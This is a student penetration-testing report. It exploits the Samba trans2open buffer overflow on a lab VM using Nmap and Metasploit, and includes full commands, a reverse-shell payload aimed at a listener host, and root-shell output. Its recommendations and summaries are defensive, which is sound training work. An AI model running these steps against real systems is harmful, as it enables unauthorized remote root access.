



Full VAPT Cycle



Submitted By
Akash Bangera
VAPT Analyst



Project Title
Comprehensive VAPT Practical



Submitted To
CYART VAPT Team



Submission Date
[27-3-2026]



Contents

1. Executive Summary	2
2. Scope	3
3. Methodology	4
4. Technical Findings	4
5. Impact	8
6. Recommendation	8
7. Conclusion	9
8. Non-Technical Summary	9

1. Executive Summary



A Full VAPT was conducted on the target system to identify security vulnerabilities. During the assessment, a critical vulnerability was discovered in the SMB service running on the target machine.

The system is vulnerable to Samba Trans2Open Buffer Overflow, which allows unauthenticated remote code execution. The vulnerability was successfully exploited, resulting in root-level access, confirming full system compromise.

Overall Risk Level:

- Critical

Key Finding:

- Remote Code Execution via Samba Service
- Full System Compromise

Business impact:

An attacker can gain complete control of the system, leading to:

- Data Breaches
- Unauthorized System Modification
- Network-Wide Attacks (Lateral Movement)

2. Scope

Target IP:

192.168.0.120

Target Service:

All

Testing Type:

Black Box Testing

Tool used:



- Kali Linux
- Metasploit
- Nessus

Date:

26-03-2026

3. Methodology

Testing was performed using PTES phases:

1. Reconnaissance
2. Scanning
3. Vulnerability Analysis
4. Exploitation
5. Post-Exploitation
6. Reporting

4. Technical Findings

Title:

Trans2Open Samba Buffer Overflow

Severity:

Critical

CVE:

2003-0201

Affected Service:

Samba

Description:



The Samba service running on the target system is vulnerable to a buffer overflow due to improper handling of **TRANS2_OPEN requests**. This allows remote attackers to execute arbitrary code without authentication.

Proof Of Concept (PoC):

Step 1: Scanning

Command used:

- Nmap -p- -sV 192.168.0.120

```
(kali㉿kali)-[~]
└─$ nmap -p- -sV 192.168.0.120
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-25 02:08 -0400
Nmap scan report for 192.168.0.120
Host is up (0.0025s latency).
Not shown: 65529 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 2.9p2 (protocol 1.99)
80/tcp    open  http         Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd (workgroup: XMYGROUP)
443/tcp   open  ssl/https    Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
1024/tcp  open  status       1 (RPC #100024)
MAC Address: 00:0C:29:D0:A4:F9 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.28 seconds
```

Step 2: Service Enumeration

Command used:

- msfconsole -q
- search smb_version
- use auxiliary/scanner/smb/smb_version
- set RHOSTS 192.168.0.120
- run



```
(kali@kali)-[~]
$ msfconsole -q
msf > search smb_version

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -              -    -    -
0  auxiliary/scanner/smb/smb_version         .              normal No     SMB Version Detection

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/smb/smb_version

msf > use 0
msf auxiliary(scanner/smb/smb_version) > show options

Module options (auxiliary/scanner/smb/smb_version):

Name      Current Setting  Required  Description
-  -  -  -  -
RHOSTS    192.168.0.120   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/3/using-metasploit-3.html#section-5.2.1
RPORT     445              no        The target port (TCP)
THREADS   1                yes       The number of concurrent threads (max one per host)

View the full module info with the info, or info -d command.

msf auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.0.120
RHOSTS => 192.168.0.120
msf auxiliary(scanner/smb/smb_version) > run
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.25/lib/recog/fingerprint/regexp_factory.rb:10: warning: backslash '?' was replaced with '*' in regular expression
[*] 192.168.0.120:139 - Host could not be identified: Unix (Samba 2.2.1a)
[*] 192.168.0.120 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/smb/smb_version) >
```

Step 3: Exploit Searching

MODULE

Samba trans2open Overflow (Linux)

TRY SURFACE COMMAND

← BACK TO SEARCH

Disclosed	Created
Apr 7, 2003	May 30, 2018

Description

This exploits the buffer overflow found in Samba versions 2.2.0 to 2.2.8. This particular module is capable of

Step 4: Exploitation



- msfconsole -q
- search Samba Trans2open
- use exploit/linux/samba/trans2open
- set payload generic/shell_reverse_tcp
- set RHOSTS 192.168.0.120
- exploit

```
msf exploit(linux/samba/trans2open) > show options

Module options (exploit/linux/samba/trans2open):



| Name   | Current Setting | Required | Description                                                                                                                                                                                         |
|--------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| RHOSTS |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT  | 139             | yes      | The target port (TCP)                                                                                                                                                                               |



Payload options (generic/shell_reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.0.132   | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name                     |
|----|--------------------------|
| 0  | Samba 2.2.x - Bruteforce |



View the full module info with the info, or info -d command.
```



```
msf exploit(linux/samba/trans2open) > set RHOSTS 192.168.0.120
RHOSTS => 192.168.0.120
msf exploit(linux/samba/trans2open) > exploit
* Started reverse TCP handler on 192.168.0.132:4444
* 192.168.0.120:139 - Trying return address 0xbffffdfc ...
* 192.168.0.120:139 - Trying return address 0xbffffcfc ...
* 192.168.0.120:139 - Trying return address 0xbffffbfc ...
* 192.168.0.120:139 - Trying return address 0xbffffafc ...
* 192.168.0.120:139 - Trying return address 0xbffff9fc ...
* 192.168.0.120:139 - Trying return address 0xbffff8fc ...
* 192.168.0.120:139 - Trying return address 0xbffff7fc ...
* 192.168.0.120:139 - Trying return address 0xbffff6fc ...
* Command shell session 1 opened (192.168.0.132:4444 -> 192.168.0.120:1059) at 2026-03-25 02:58:54 -0400

* Command shell session 2 opened (192.168.0.132:4444 -> 192.168.0.120:1060) at 2026-03-25 02:58:55 -0400
* Command shell session 3 opened (192.168.0.132:4444 -> 192.168.0.120:1061) at 2026-03-25 02:58:56 -0400
* Command shell session 4 opened (192.168.0.132:4444 -> 192.168.0.120:1062) at 2026-03-25 02:58:57 -0400

id
uid=0(root) gid=0(root) groups=99(nobody)
whoami
root
```

Result

- Reverse shell successfully obtained
- Privilege level: **root**
- Full administrative access confirmed

Detection: Log Nessus findings:

Timestamp	Target IP	Vulnerability	PTES
2026-03-24 2:10	192.168.0.120	Samba Trans2open Overflow	Exploitation

5. Impact

- Remote Code Execution (RCE)
- Complete system compromise
- Full read/write access to all files
- Ability to install malware/backdoors
- Potential lateral movement within the network

6. Recommendation

Immediate Actions

- Upgrade Samba to latest secure version



- Restrict access to SMB ports (139/445) via firewall
- Disable Samba service if not required
- Implement network segmentation
- Deploy IDS/IPS monitoring for SMB traffic

7. Conclusion

The system is critically vulnerable due to the presence of the **Trans2Open Samba Buffer Overflow**. Successful exploitation resulted in **root-level access**, demonstrating complete compromise of the target system. Immediate remediation is required to prevent exploitation and potential network-wide impact.

8. Non-Technical Summary

A security assessment of the target system identified a critical weakness in its file-sharing service. This issue allowed an external attacker to gain complete control of the system without needing valid login credentials. During testing, the vulnerability was successfully exploited, resulting in full administrative (root-level) access. This means an attacker could view, modify, or delete sensitive data, install malicious software, and potentially spread attacks to other systems within the network. The risk to the organization is severe and requires immediate action. It is strongly recommended to update the affected software and restrict unnecessary network access to prevent unauthorized exploitation.